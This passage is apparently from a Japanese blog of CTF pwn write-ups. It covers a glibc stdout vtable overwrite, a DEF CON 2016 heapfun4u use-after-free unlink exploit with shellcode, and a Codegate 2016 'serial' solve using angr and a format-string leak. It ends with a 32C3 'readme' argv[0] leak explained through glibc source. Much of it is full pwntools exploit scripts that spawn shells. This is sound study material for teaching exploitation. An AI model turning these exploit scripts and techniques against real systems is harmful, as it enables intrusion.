payload += p32(0xdeadbeef) * 4        # padging
payload += p32(input_name_addr)       # name ptr
payload += p32(0x0)                   # name length input
payload += p32(0x0)                   # loop counter limit
conn.send(payload)
conn.interactive()

【総評】glibcを見ることの大切さを学んだ。

2.IO_stdoutを用いた攻撃

libcのstdin/stdoutにはJump table と言われる関数群を持っています。下に記載するURLに詳しく、載っています。
https://outflux.net/blog/archives/2011/12/22/abusing-the-file-structure/
f:id:shimasyaro:20170511174626p:plain
とりあえず、デバッグしてどのような様子か確かめてみましょう。
f:id:shimasyaro:20170511180641p:plain
これがstdoutを表示した様子です。赤枠で囲った部分がjump tableアドレスになります。今度はそこを見ていきましょう。
f:id:shimasyaro:20170511180918p:plain
これが、jump tableです。赤枠で囲った部分IO_file_xsputnを今回は書き換えることを目的として攻撃を考えてみたいと思います。
そもそも、
IO_file_xsputnとは、なんでしょうか?これは出力系の関数が使われるときに必ず使用される関数です。そのため、今回はprintfが使われたときに内部関数として_IO_file_xsputnというのが現れます。この攻撃はglibc-2.24以降ではチェック機構が存在しているため、書き換えることができません。
どうやら書き換えることができるそうです。下の引用を参考にお願いします。(適当なことを書いて申し訳ございませんでした。)


詳しくはglibcの/libio/libioP.hのIO_validate_vtableを見てください。参考までに特に重要な部分を抜粋して載せておきます。glibc-2.25です。

glibc/libio/libioP.h
398: #define _IO_sputn(__fp, __s, __n) _IO_XSPUTN (__fp, __s, __n)
191: #define _IO_XSPUTN(FP, DATA, N) JUMP2 (__xsputn, FP, DATA, N)
140: #define JUMP2(FUNC, THIS, X1, X2) (_IO_JUMPS_FUNC(THIS)->FUNC) (THIS, X1, X2)
133: # define _IO_JUMPS_FUNC(THIS) (IO_validate_vtable (_IO_JUMPS_FILE_plus (THIS)))

931: static inline const struct _IO_jump_t *
932: IO_validate_vtable (const struct _IO_jump_t *vtable)
{
  /* Fast path: The vtable pointer is within the __libc_IO_vtables
     section.  */
  uintptr_t section_length = __stop___libc_IO_vtables - __start___libc_IO_vtables;
  const char *ptr = (const char *) vtable;
  uintptr_t offset = ptr - __start___libc_IO_vtables;
  if (__glibc_unlikely (offset >= section_length))
    /* The vtable pointer is not in the expected section.  Use the
       slow path, which will terminate the process if necessary.  */
    _IO_vtable_check ();
  return vtable;
}

119: #define _IO_JUMPS_FILE_plus(THIS) \
120:   _IO_CAST_FIELD_ACCESS ((THIS), struct _IO_FILE_plus, vtable)

343: struct _IO_FILE_plus
{
  _IO_FILE file;
  const struct _IO_jump_t *vtable;
};

114: #define _IO_CAST_FIELD_ACCESS(THIS, TYPE, MEMBER) \
  (*(_IO_MEMBER_TYPE (TYPE, MEMBER) *)(((char *) (THIS)) \
                       + offsetof(TYPE, MEMBER)))
308: struct _IO_jump_t
{
    JUMP_FIELD(size_t, __dummy);
    JUMP_FIELD(size_t, __dummy2);
    JUMP_FIELD(_IO_finish_t, __finish);
    JUMP_FIELD(_IO_overflow_t, __overflow);
    JUMP_FIELD(_IO_underflow_t, __underflow);
    JUMP_FIELD(_IO_underflow_t, __uflow);
    JUMP_FIELD(_IO_pbackfail_t, __pbackfail);
    /* showmany */
    JUMP_FIELD(_IO_xsputn_t, __xsputn);
    JUMP_FIELD(_IO_xsgetn_t, __xsgetn);
    JUMP_FIELD(_IO_seekoff_t, __seekoff);
    JUMP_FIELD(_IO_seekpos_t, __seekpos);
    JUMP_FIELD(_IO_setbuf_t, __setbuf);
    JUMP_FIELD(_IO_sync_t, __sync);
    JUMP_FIELD(_IO_doallocate_t, __doallocate);
    JUMP_FIELD(_IO_read_t, __read);
    JUMP_FIELD(_IO_write_t, __write);
    JUMP_FIELD(_IO_seek_t, __seek);
    JUMP_FIELD(_IO_close_t, __close);
    JUMP_FIELD(_IO_stat_t, __stat);
    JUMP_FIELD(_IO_showmanyc_t, __showmanyc);
    JUMP_FIELD(_IO_imbue_t, __imbue);
#if 0
    get_column;
    set_column;
#endif
};

さて、実際に攻撃方法を考えてみましょう。今回は以下のような攻撃でいきます。

  • libc のleak

  • stdoutの実体である、IO_2_1_stdoutを割り出し、そこからIO_2_1_stdout+0x94にある、jump tableのアドレスを書き換え可能な領域のアドレス(例えば、.bssなど)に変更する。

  • 書き換え可能な領域のアドレス+0x1cにROPのアドレスを入れる。

書き換え方法などは1.atexit関数を用いた攻撃を参考にしてほしい。肝心のexploit codeだが、ROPは発動しているが、そこからつなげる攻撃が上手くいっていないため、あくまで参考までにしてほしい。

#!/usr/bin/env python2
from pwn import *

context(os='linux', arch='i386')
context.log_level = 'debug' # output verbose log
elf = ELF('./shadow')
libc = ELF('/lib32/libc.so.6')
bss = 0x804a020

if len(sys.argv) > 1 and sys.argv[1] == 'r':
        HOST = 'localhost'
        PORT = 114514
        conn = remote(HOST, PORT)
        print "[+] connect to server\n"
else:
        conn = process('./shadow')
        print "[+] connect to local\n"

def read_address(addr):
    conn.recvuntil('Change name? (y/n) : ')
    conn.send('n\n')
    conn.recvuntil('Message length : ')
    conn.send('-1\n')
    conn.recvuntil('Input message : ')
    payload = ''
    payload += 'A' * 52
    payload += p32(addr)                 # name ptr
    payload += p32(0x1000)               # name length input
    payload += p32(0x10)                 # loop counter limit
    conn.send(payload)
    conn.recv(8)
    return int(hex(u32(conn.recv(4))),16)

# 1st canary leak
conn.recvuntil('Input name : ')
conn.send('shadow')
conn.recvuntil('Message length : ')
conn.send('-1\n')
conn.recvuntil('Input message : ')
leak = 'A' * 33
conn.send(leak)
conn.recvuntil(leak)
canary = int(hex(u32('\x00' + conn.recv(3))),16)
log.info('canary:0x%08x' % canary)

# 2nd leak stack address
conn.recvuntil('Change name? (y/n) : ')
conn.send('n\n')
conn.recvuntil('Message length : ')
conn.send('-1\n')
conn.recvuntil('Input message : ')
leak2 = 'A' * 44
conn.send(leak2)
conn.recvuntil(leak2)
saved_ebp       = int(hex(u32(conn.recv(4))), 16)
ret_addr        = int(hex(u32(conn.recv(4))), 16)
input_name_addr = int(hex(u32(conn.recv(4))), 16)

log.info('saved_ebp         :0x%08x' % saved_ebp)
log.info('return address    :0x%08x' % ret_addr)
log.info('input name address:0x%08x' % input_name_addr)

# 3rd leak libcbase, buffer length and change loop conunter
exit_libc = read_address(elf.got['exit'])
libc_base = exit_libc - libc.symbols['exit']
system    = libc_base + libc.symbols['system']
binsh     = libc_base + next(libc.search("/bin/sh"))
stdout    = libc_base + libc.symbols['_IO_2_1_stdout_']
log.info('libc_base address:0x%08x' % libc_base)
log.info('system address:0x%08x' % system)
log.info('/bin/sh address:0x%08x' % binsh)
log.info('stdout address:0x%08x' % stdout)

# 4th set bss+0x1c address
conn.recvuntil('Change name? (y/n) : ')
conn.send('n\n')
conn.recvuntil('Message length : ')
conn.send('-1\n')
conn.recvuntil('Input message : ')
payload = ''
payload += 'A' * 52
payload += p32(bss+0x1c)                 # name ptr
payload += p32(0x1000)                   # name length input
payload += p32(0x10)                     # loop counter limit
conn.send(payload)

# 5th overwrite bss+0x1c array
conn.recvuntil('Input name : ')
payload = p32(system)
conn.send(payload)
conn.recvuntil('Message length : ')
conn.send('-1\n')
conn.recvuntil('Input message : ')
conn.send('a')

# 6th set bss address in jump table
conn.recvuntil('Change name? (y/n) : ')
conn.send('n\n')
conn.recvuntil('Message length : ')
conn.send('-1\n')
conn.recvuntil('Input message : ')
payload = ''
payload += 'A' * 52
payload += p32(stdout+0x94)              # name ptr
payload += p32(0x1000)                   # name length input
payload += p32(0x10)                     # loop counter limit
conn.send(payload)

# 7th set finish
conn.recvuntil('Change name? (y/n) : ')
conn.send('y\n')
conn.recvuntil('Input name : ')
payload = p32(bss)
conn.send(payload)
conn.recvall()

以下は攻撃の様子です。
f:id:shimasyaro:20170511184010p:plain
f:id:shimasyaro:20170511184226p:plain

【総評】ROP ROP pain

DEF CON CTF Qualifier 2016 heapfun4u

今回の問題はELF-64bitでxinetd型であった。今回の問題は脆弱性としてUAF(Use After Free)というheapの構造を利用した攻撃だ。この攻撃は現実の攻撃でも行われる攻撃であるが、このUAFは全体の動きを細かく把握してからではないと攻撃することが難しい。
私は今回、全体の動きを細かく把握するのにかなり苦労した。特に、Freeの処理がどのように行われているのかを把握するのに、多くの時間を費やした。しかし、そのおかげもあって、UAFがどのような攻撃であるかを実際にやってみることで、少し理解が進んだ。
実際のglibc mallocの動きとは少し違う部分もあるが、この問題で、UAFを把握するのにはとても良い問題であることを私は感じた。
特に、今回はUAFを理解するために、以下の資料を参考させていただきました!誠にありがとうございます!

speakerdeck.com

さて、ではさっそく問題のほうを見ていきましょう。

shima@chino:~/workspace/pwn_list_easy/heapfun4u$ checksec --file heapfun4u 
[*] '/home/shima/workspace/pwn_list_easy/heapfun4u/heapfun4u'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE

shima@chino:~/workspace/pwn_list_easy/heapfun4u$ ./heapfun4u 
[A]llocate Buffer
[F]ree Buffer
[W]rite Buffer
[N]ice guy
[E]xit
| A
Size: 16
[A]llocate Buffer
[F]ree Buffer
[W]rite Buffer
[N]ice guy
[E]xit
| A
Size: 32
[A]llocate Buffer
[F]ree Buffer
[W]rite Buffer
[N]ice guy
[E]xit
| F
1) 0x7f6970480008 -- 16
2) 0x7f6970480020 -- 32
Index: 1

まあ、今回はheap領域であるため、実際には実行権限があるかわからないため、実際にデバッグしながら見てみましょう。

gdb-peda$ vmmap
Start              End                Perm  Name
0x00400000         0x00402000         r-xp    /home/shima/workspace/pwn_list_easy/heapfun4u/heapfun4u
0x00601000         0x00602000         r--p  /home/shima/workspace/pwn_list_easy/heapfun4u/heapfun4u
0x00602000         0x00603000         rw-p  /home/shima/workspace/pwn_list_easy/heapfun4u/heapfun4u
0x00007ffff7a12000 0x00007ffff7bd0000 r-xp    /lib/x86_64-linux-gnu/libc-2.19.so
0x00007ffff7bd0000 0x00007ffff7dcf000 ---p  /lib/x86_64-linux-gnu/libc-2.19.so
0x00007ffff7dcf000 0x00007ffff7dd3000 r--p  /lib/x86_64-linux-gnu/libc-2.19.so
0x00007ffff7dd3000 0x00007ffff7dd5000 rw-p  /lib/x86_64-linux-gnu/libc-2.19.so
0x00007ffff7dd5000 0x00007ffff7dda000 rw-p  mapped
0x00007ffff7dda000 0x00007ffff7dfd000 r-xp    /lib/x86_64-linux-gnu/ld-2.19.so
0x00007ffff7fdb000 0x00007ffff7fde000 rw-p  mapped
0x00007ffff7ff7000 0x00007ffff7ff8000 rwxp    mapped
0x00007ffff7ff8000 0x00007ffff7ffa000 rw-p  mapped
0x00007ffff7ffa000 0x00007ffff7ffc000 r-xp    [vdso]
0x00007ffff7ffc000 0x00007ffff7ffd000 r--p  /lib/x86_64-linux-gnu/ld-2.19.so
0x00007ffff7ffd000 0x00007ffff7ffe000 rw-p  /lib/x86_64-linux-gnu/ld-2.19.so
0x00007ffff7ffe000 0x00007ffff7fff000 rw-p  mapped
0x00007ffffffde000 0x00007ffffffff000 rw-p  [stack]
0xffffffffff600000 0xffffffffff601000 r-xp    [vsyscall]

実際にheap領域に確保するようにしたら、どうやら、mmapで実行権限付きでheapをとっているようだった。とりあえず、適当にheapとfreeを繰り返して、デバッグをしてみた。

1.alloc(16), 2.alloc(128), 3.alloc(16)
1.free(16), 2.free(128)

gdb-peda$ x/30gx 0x00007ffff7ff7000
0x7ffff7ff7000:    0x0000000000000012 0x00007ffff7ff70b8
0x7ffff7ff7010:    0x00007ffff7ff7018 0x0000000000000082
0x7ffff7ff7020:    0x0000000000000000 0x0000000000000000
0x7ffff7ff7030:    0x0000000000000000 0x0000000000000000
0x7ffff7ff7040:    0x0000000000000000 0x0000000000000000
0x7ffff7ff7050:    0x0000000000000000 0x0000000000000000
0x7ffff7ff7060:    0x0000000000000000 0x0000000000000000
0x7ffff7ff7070:    0x0000000000000000 0x0000000000000000
0x7ffff7ff7080:    0x0000000000000000 0x0000000000000000
0x7ffff7ff7090:    0x00007ffff7ff7000 0x0000000000000000
0x7ffff7ff70a0:    0x0000000000000013 0x0000000000000000
0x7ffff7ff70b0:    0x0000000000000000 0x0000000000000f40
0x7ffff7ff70c0:    0x0000000000000000 0x0000000000000000
0x7ffff7ff70d0:    0x0000000000000000 0x0000000000000000
0x7ffff7ff70e0:    0x0000000000000000 0x0000000000000000

三つほど、allocateしてそれをallocateした順番に二つFreeしたものである。これからわかることは、1.free(16)を行ったときに直下のchunkがallocateされているため、unlinkすることなく、free listに繋がっている。そして、二つ目の2.free(128)を行ったときは、free listをつなぎ変えていた。
これからをまとめると、以下のようなchunk,freeの動きになっている。
f:id:shimasyaro:20170417174834p:plain
freeの動き

  • SIZEの1bit目はallocateされているかどうか、2bit目はmmap領域を使っているかどうか(今回は使っているため、常にbitが立っている)、3bit目は使われてなかった。

  • free listはfreeされた順番でつながっている。つぎallocateされるときは一番後にfreeされたものからfirst matchで探していく。つまりLIFO(Last In First Out)で探す。

という動きになっていることが分かった。(本当はデバッグしながら探しまくる)ここまで分かったところで、今回のバグを探してみるが、色々簡単に見つかった。

  • [F]ree Bufferを行っても、一回allocateされている場所はずっとfreeできるようになっている。

  • [N]ice guyでstack addressのleakができる。

  • heapのアドレスを表示しているため、どこにDataが格納されているかわかる。

これらを上手く利用して、攻撃を組み立てなければならない。しかし、私はこの時点でどのように攻撃をすればいいのかさっぱりわからなかったため、write upをみることにした。するとUAFを使った面白い攻撃をしていたため、さっそく紹介する。
まず、今回重要になるのが、unlink処理の部分だ。つまり、「直下のchunkがFreeであるという状況」が重要となる。今回のFreeのunlink処理を見てみよう。

mov     rax, [rbp+p_fd]
mov     rdx, [rax]
mov     rax, [rbp+p_fd]
mov     rax, [rax]
mov     rax, [rax]             ; P->fd->size
and     rax, 0FFFFFFFFFFFFFFFCh
sub     rax, 8
add     rax, rdx               ; P->fd + P->fd->size
mov     [rbp+fd_fd], rax       ; P->fd->fd
mov     rax, [rbp+fd_fd]
mov     rdx, [rbp+size_addr]
mov     [rax+8], rdx           ; P->fd->fd+8 = P

rbp+p_fd(P->fd)と書かれているものが、直下のfree chunkのfdポインタが入っている。このfdポインタとfdポインタ先のSIZEを足すことによって次のfree listのポインタに移動する。そしてrbp+fd_fd(P->fd->fd)ポインタから+8されたところを書き換えるような動きをしている。
今回はこの動きを利用して以下のようにchunkの配置を行う。
f:id:shimasyaro:20170418093417p:plain

  • まず、Buffer1,Buffer2,Buffer3をそれぞれ確保した後、Buffer2,Buffer1の順番で開放する。

  • Buffer4を確保したら、書き込みを行い、上記のような配置でchunkを配置する。

  • Buffer2を再び開放して、unlink attackを行い、return addressをBuffer2(FAKE_SIZE)のアドレスに書き換える。

  • Buffer4で書き込みを行い、Buffer2(FAKE_SIZE)のアドレスの部分にshellcodeを置く。

  • [E]xitを行って、main関数の returnをさせて、shellcodeを起動させる。

以上が攻撃の流れになる。私が頭を抱えたのがreturn+8になっているので-8にしてoffsetを取っていたが、どうやら意図的にずらしているようだった。(もしかしたら、自分の計算ミス、構造把握ミスがあるため、なんともいえない)
とりあえず、こーどべちょー

#!/usr/bin/env python2
from pwn import *

context(os='linux', arch='amd64')
context.log_level = 'debug' # output verbose log
shellcode = asm(shellcraft.sh())

conn = process('./heapfun4u')
print "[+] connect to local\n"

def alloc(size):
    conn.recvuntil('| ')
    conn.sendline('A')
    conn.recvuntil('Size: ')
    conn.sendline(size)

def free(index):
    conn.recvuntil('| ')
    conn.sendline('F')
    conn.recvuntil('Index: ')
    conn.sendline(index)

def write(index, buf):
    conn.recvuntil('| ')
    conn.sendline('W')
    conn.recvuntil(index + ') ')
    heap_addr = int(conn.recv(14), 16)
    conn.recvuntil('Write where: ')
    conn.sendline(index)
    conn.recvuntil('Write what: ')
    conn.sendline(buf)

    return heap_addr
    
def leak():
    conn.recvuntil('| ')
    conn.sendline('N')
    conn.recvuntil('Here you go: ')
    ret_addr = int(conn.recvuntil('\n'), 16) + 0x13c

    return ret_addr

def leave():
    conn.recvuntil('| ')
    conn.sendline('E')

# get return address
ret_addr = leak()

# set chunk and free
alloc('16')    # index 1
alloc('128')   # index 2
alloc('16')    # index 3
free('2')
free('1')

# alloc index 4 and leak heap address(index 4)
alloc('128')
heap_addr = write('4', 'SYARO!!!')
ret_size = ret_addr - heap_addr

log.info('ret_size:%16x' % ret_size)
log.info('fd:      %16x' % heap_addr)
log.info('return:  %16x' % ret_addr)

# unlink atack
unlink_attack = ''
unlink_attack += p64(ret_size)   
unlink_attack += p64(0)          
unlink_attack += p64(16 + 2 + 1) # fake alloc chunk
unlink_attack += 'SYARO!!!' * 2  # data
unlink_attack += p64(16 + 2)     # fake free chunk
unlink_attack += p64(heap_addr)  # fd
unlink_attack += p64(0)          # bk

write('4', unlink_attack)
free('2')

payload = ''
payload += 'SYARO!!!' * 2
payload += shellcode

write('4', payload)
leave()

conn.interactive()

【総評】UAFマジでくじけそう

Codegate CTF 2016 Quals Serial

64bit-ELFでxinetd型だった。angr使ったことないからこの問題を使って解こうかなと思った問題。とりあえず、見ていこう。

shima@chino:~/workspace/pwn_list_easy/serial$ checksec --file serial 
[*] '/home/shima/workspace/pwn_list_easy/serial/serial'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE
shima@chino:~/workspace/pwn_list_easy/serial$ 

とりあえず、実行してみる。

shima@chino:~/workspace/pwn_list_easy/serial$ ./serial 
input product key: 14444444444444
Wrong!

はい、どうやらここのkeyを当てないと次に行かないようになっているっぽい。…逆アセンブルして頑張りたくないなぁという思いしかなかったため、angrというものを使ってみる。とりあえず、コードをいかに貼る。

# coding: utf-8
import angr

start = 0x400cbb
finish  = 0x400e5c
key_len = 20
p = angr.Project("./serial")

# set entry point
init = p.factory.blank_state(addr = start)

# Creates a Bit-Vector Symbol
key = init.se.BVS(name="key", size = key_len * 8)

# Stores content into memory
init.memory.store(0x6020ff, key)

# Set sub_0x400cbb's arg1
init.regs.rdi = 0x6020ff

# Find the path to reach the specified address
pg = p.factory.path_group(init)
pg.explore(find = finish)

s = pg.found[0].state
print "Key = %r" % s.se.any_str(key).strip("\x00")

コード自体は以下のサイトを参考にさせていただきました。ありがとうございます!

pwn.hatenadiary.jp
コード自体は何をやっているのかというと、0x6020ff(.bssセクション内)のアドレスをkeyを判断する関数(0x400cbb)の第一引数として与え、angrが頑張ってkeyを見つけてくれるようなコードである。正直どのようにして見つけているのか分かんないため、思考停止状態で使ってる。全数探索でもやってるのかな?
angrを使うタイミングとしてはkeyを判断する関数(0x400cbb)からその関数の終わりまでである。これを実行すると以下のような結果になる。

(ENV) shima@chino:~/workspace/pwn_list_easy/serial$ python key.py 
Key = '615066814080'

これでkeyが分かったため、次の処理を見てみよう。

shima@chino:~/workspace/pwn_list_easy/serial$ ./serial 
input product key: 615066814080
Correct!
Smash me!
1. Add 2. Remove 3. Dump 4. Quit
choice >> 
  1. ADDはヒープ領域に確保された場所に入力したものをmemcpyを使って入力した文字数分格納する。(ここにBOFあり)

  2. RemoveはADDされたもの全部削除

  3. Dumpは入力されたデータを表示する(ここのバグを利用する)

  4. Quitは終了

ADD命令でmemcpyした直後ヒープの状態は以下のようになっている。

gdb-peda$ x/4gx 0x603010
0x603010:  0x4141414141414141 0x0000000000000000
0x603020:  0x0000000000000000 0x000000000040096e

ヒープに既に何かが格納のされているが、これは関数のポインタであり、Dumpを使ったときにこの関数のポインタが利用される。今回はこの関数ポインタを任意の関数に書き換えて利用する。
以下がDumpが関数ポインタを利用する逆アセンブルである

mov     rax, [rbp+arg1] 確保されたヒープ領域の先頭アドレス
mov     rdx, [rax+18h] 関数のポインタ(確保されたヒープ領域の先頭アドレス+18h)
mov     rax, [rbp+arg1] 
mov     rdi, rax        確保されたヒープ領域の先頭アドレスを第1引数にする。
mov     eax, 0
call    rdx

入力した部分がそのまま第一引数になるため、これを上手く関数ポインタをsystemに変えて/bin/shを起動させたい。しかし、どうやってlibc baseを特定させればいいだろう?…ここで考えたのがFSBを自ら作るということだ。関数のポインタをprintf.pltをセットし、そして第一引数に%pを入力することにより、leakを行うことができる。さっそくperlワンライナーで書いて実行してみよう

shima@chino:~/workspace/pwn_list_easy/serial$ perl -e 'print "615066814080\n" . "1\n" . "%3\$p" . "A"x20 . pack("Q<", 0x400790) . "\n" . "3\n" . "4\n"' | ./serial
input product key: Correct!
Smash me!
1. Add 2. Remove 3. Dump 4. Quit
choice >> insert >> Smash me!
1. Add 2. Remove 3. Dump 4. Quit
choice >> hey! (nil)
Smash me!
1. Add 2. Remove 3. Dump 4. Quit
choice >> func : 0x400790
0x7fc393f4ff80AAAAAAAAAAAAAAAAAAAA�@Smash me!
1. Add 2. Remove 3. Dump 4. Quit
choice >> bye

%pから順番に試していくと%3$p(つまり、三つ目)でwrite+16h関数の部分のGOTアドレスをleakさせることができた。ここからlibc baseをleakさせ、systemの関数をセットさせよう。攻撃の順番としては以下のようになる。

  1. ADDして、BOFで関数ポインタをprintf.pltにし引数を%3$pにする。

  2. Dumpしてwrite+16h関数のアドレスをleakし、libc baseを求める。

  3. Removeして、ADDのdataをきれいにする。(関数のポインタがprintf.pltになっているため)

  4. ADDして、BOFで関数ポインタをsystemにし引数を/bin/sh;にする。

  5. Dumpしてshellを起動

これらを行うコードは以下のようになる。コードべちょー

#!/usr/bin/env python2
from pwn import * 

context(os='linux', arch='amd64')
context.log_level = 'debug' # output verbose log
elf = ELF('./serial')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

if len(sys.argv) > 1 and sys.argv[1] == 'r':
        HOST = 'localhost'
        PORT = 8888
        conn = remote(HOST, PORT)
        print "[+] connect to server\n"
else:
        conn = process('./serial')
        print "[+] connect to local\n"

def add(data):
    conn.recvuntil("choice >> ")
    conn.send("1\n")
    conn.recvuntil("insert >> ")
    conn.send(data+"\n")

def remove():
    conn.recvuntil("choice >> ")
    conn.send("2\n")

def dump():
    conn.recvuntil("choice >> ")
    conn.send("3\n")
    conn.recvuntil("func : 0x400790\n")
    return int(conn.recv(14),16)

# set product key
conn.recvuntil("input product key: ")
conn.send("615066814080\n")

# leak libc base(write+16 is leaked)
payload = ''
payload += '%3$p'
payload += 'A' * 20
payload += p64(elf.plt['printf'])

add(payload)

# get libc_base and system_addr
write_libc = dump() - 0x10
print "write:%16x" % write_libc
libc_base = write_libc - libc.symbols['write']
system    = libc_base  + libc.symbols['system']
print "[+] libc base %16x" % libc_base
print "[+] system %16x" % system

remove()

# set system(/bin/sh)
payload = ''
payload += '/bin/sh;'
payload += "A" * 16
payload += p64(system)

conn.send("1\n")
add(payload)
conn.send("3\n")

conn.interactive()

remove終わった直後に1(add命令)を送ると少し変な動きをするため、先に1を送ってそのあとにadd命令を送ることでうまくいったため、少し変なコードになっている。
【総評】angrよく分からないというお気持ち

32C3 CTF readme

今回の問題はELF-64bitの問題だった。info leak問題で私が今まで知らなかった攻撃方法であったため、かなり勉強になった。ほかにも類似問題があるため、その問題にも挑んでみたい。
とりあえず、今回の問題を解くのにかなり参考になった資料を先に紹介しておく。この資料を提供してくださった方々には、まことに御礼を申し上げます。

pwn.hatenadiary.jp

speakerdeck.com

さて、さっそく問題のほうを見ていこう。まずはセキュリティチェック

shima@chino:~/workspace/pwn_list_easy/readme$ checksec --file readme.bin
[*] '/home/shima/workspace/pwn_list_easy/readme/readme.bin'
    Arch:     amd64-64-little
    RELRO:    No RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE
    FORTIFY:  Enabled

「どうやら、SSPがあるため、BOFはきびしそうだなぁ」この時点でこういう思いしかなかったが、この考え自体が間違いだった。後々わかることだが、とりあえず、実際にlocalで試してみよう。

shima@chino:~/workspace/pwn_list_easy/readme$ ./readme.bin
Hello!
What's your name? AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Nice to meet you, AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.
Please overwrite the flag: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Thank you, bye!
*** stack smashing detected ***: ./readme.bin terminated
中止 (コアダンプ)

どうやら、名前を聞かれて入力後に、flagの中身を書き換えるような入力があるらしい。ということは今回はsystemを起動させるというよりはメモリに格納されているflagを読み取るような問題であることが想像できる。ではさっそくデバッグしてみよう。まず気になったのはcanaryをセットするところである。

0x4007f3:   mov    rax,QWORD PTR fs:0x28
0x4007fc:  mov    QWORD PTR [rsp+0x108],rax

gdb-peda$ x/gx $rsp+0x108
0x7fffffffde98:    0x8550dbbcc7ce9900

つまりここを破壊してしまうとBOFを検知して終了してしまうことが分かる。次に気になったのはflagを書き換えるところである。

 0x40084e:   mov    BYTE PTR [rbx+0x600d20],al
 0x400854:  add    rbx,0x1

gdb-peda$ x/s 0x600d20
0x600d20:   "32C3_TheServerHasTheFlagHere..."

どうやら、ここでリモート先のflagが読み取られてここに配置されるようになっているらしい。……以上が気になった点である。ここで私は詰みました。どうしようもないため、write-upをあさっていると私が知らない攻撃が使われていたため、とりあえず理解して、色々試してみることにした。
今回使われる攻撃というものはargv[0] leakと言われるものである。攻撃方法を簡単に説明すると「BOFさせてSSP破壊してargv[0]に好きなアドレスを置いてstack破壊のメッセージを使ってinfo leakしよう」という方法である。ここら辺の説明は上記の資料のほうが詳しいため、説明を割愛する。
今回の問題はflagをleakすればいいが、実はリモートでBOFをやっても,stack破壊のメッセージは表示されない。(PATH_TTYという/dev/ttyに流れてリモート先の端末に表示される)そのため、/dev/ttyに流れないようにLIBC_FATAL_STDERRの値をNULLでない(適当な値)にしてあげなければならない。(多分、xinetd型ではなくsocatをつかっているため)
LIBC_FATAL_STDERRとはどういったものだろうか?glibcソースコードを順を追って見てみよう!
今回は現時点(2017/03/31時点)で最新のglibc-2.25のソースコードを見ている。ソースはどこにあるのか以下にまとめておく

__stack_chk_fail    :glibc-2.25\debug\stack_chk_fail.c
__fortify_fail      :glibc-2.25\debug\fortify_fail.c
__libc_init_first   :glibc-2.25\csu\init-first.c
__libc_message      :glibc-2.25\sysdeps\posix\libc_fatal.c
__libc_secure_getenv:glibc-2.25\stdlib\secure-getenv.c
void
__attribute__ ((noreturn))
__stack_chk_fail (void)
{
  __fortify_fail ("stack smashing detected");
}

stack_chk_failはfortify_failを呼んでるだけなので__fortify_failをみる。

void
__attribute__ ((noreturn)) internal_function
__fortify_fail (const char *msg)
{
  /* The loop is added only to keep gcc happy.  */
  while (1)
    __libc_message (2, "*** %s ***: %s terminated\n",
            msg, __libc_argv[0] ?: "<unknown>");
}

ここがエラーが表示されるらしい、argv[0]はここでつかわれるらしい。libc_argv[0]はargv[0]のことを表している(詳しくはinit-first.cにあるlibc_init_firstまたはkatagaitai#4資料を参照)ここだけではまだ、LIBC_FATAL_STDERRはよくわかっていないため、 __libc_messageの関数を見てみる。

__libc_message (int do_abort, const char *fmt, ...)
{
  va_list ap;
  int fd = -1;

  va_start (ap, fmt);

#ifdef FATAL_PREPARE
  FATAL_PREPARE;
#endif

  /* Open a descriptor for /dev/tty unless the user explicitly
     requests errors on standard error.  */
  const char *on_2 = __libc_secure_getenv ("LIBC_FATAL_STDERR_");
  if (on_2 == NULL || *on_2 == '\0')
    fd = open_not_cancel_2 (_PATH_TTY, O_RDWR | O_NOCTTY | O_NDELAY);

  if (fd == -1)
    fd = STDERR_FILENO;
(以下省略)

どうやらここで、LIBC_FATAL_STDERR_が使われているようだった。初期値にfd = -1が入っている。ここの戻り値がNULLであれば、/dev/tty(端末)に流れるため、それをうまくNULL以外の値にしてあげて、STDERR_FILENOで標準エラー出力にしなくてはならない。ここだけではまだよくわからないため、__libc_secure_getenvを見てみよう。

char *
__libc_secure_getenv (const char *name)
{
  return __libc_enable_secure ? NULL : getenv (name);
}

ここでようやく何をしているのか分かった。どうやら、getenv()で環境変数(envp[])からname(今回の場合はLIBC_FATAL_STDERR)の値が入っているかどうかで判断しているらしい。LIBC_FATAL_STDERRの値がNULLであれば、/dev/ttyに流れ、NULLでなければ標準エラー出力に流れる。つまり、今回は環境変数にLIBC_FATAL_STDERR_=(適当)な値を入れておけばリモート先につないでも見えるはずである。つまり今回の攻撃をまとめると以下のようになる。

flag                    (argv[0])
NULL                    (argvとenvpの境目には実行ファイルの構造上NULLが入る)
LIBC_FATAL_STDERR_= 適当(envp[0])

